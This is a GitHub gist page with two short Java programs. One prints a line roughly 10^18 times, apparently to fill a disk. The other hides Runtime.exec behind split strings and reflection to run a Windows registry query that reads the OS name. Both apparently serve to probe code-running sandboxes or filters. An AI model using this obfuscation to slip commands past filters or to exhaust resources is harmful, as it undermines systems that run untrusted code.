Last active
February 25, 2016 20:04
-
-
Save jacroe/ea46f73836ce8fce2279 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class BlowUpTheDisk { | |
public static void main(String[] args) throws InterruptedException { | |
for(int i = 0; i < 999999999; i++) { | |
for (int j = 0; j < 999999999; j++) { | |
System.out.println("999999999^2 double loops!"); | |
} | |
} | |
System.out.println("I'm so evil!!!"); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.BufferedReader; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.io.InputStreamReader; | |
import java.lang.reflect.InvocationTargetException; | |
import java.lang.reflect.*; | |
public class RunArbitraryCode { | |
public static void main(String[] args) throws NoSuchMethodException, SecurityException, IOException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, ClassNotFoundException { | |
System.out.println("Oh, hey, what OS are you running?"); | |
Class rtClass = Class.forName("java.lang.Run time".replace(" ", "")); | |
Class pClass = Class.forName("java.lang.P rocess".replace(" ", "")); | |
Method gRtMethod = rtClass.getMethod("getRun time".replace(" ", "")); | |
Method gIOStream = pClass.getMethod("getInputStream"); | |
Object rtObject = gRtMethod.invoke(null); | |
Method exMethod = rtObject.getClass().getMethod("ex ec".replace(" ", ""), String.class); | |
Object pObject = exMethod.invoke(rtObject, "reg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\" /v \"ProductName\""); | |
InputStream ioStream = (InputStream) gIOStream.invoke(pObject); | |
BufferedReader stdInput = new BufferedReader(new InputStreamReader(ioStream)); | |
String s = null; | |
String os = null; | |
while ((s = stdInput.readLine()) != null) { | |
os += s; | |
} | |
System.out.println(os.split(" ")[3]); | |
System.out.println(); | |
System.out.println("I'm so evil!!!"); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment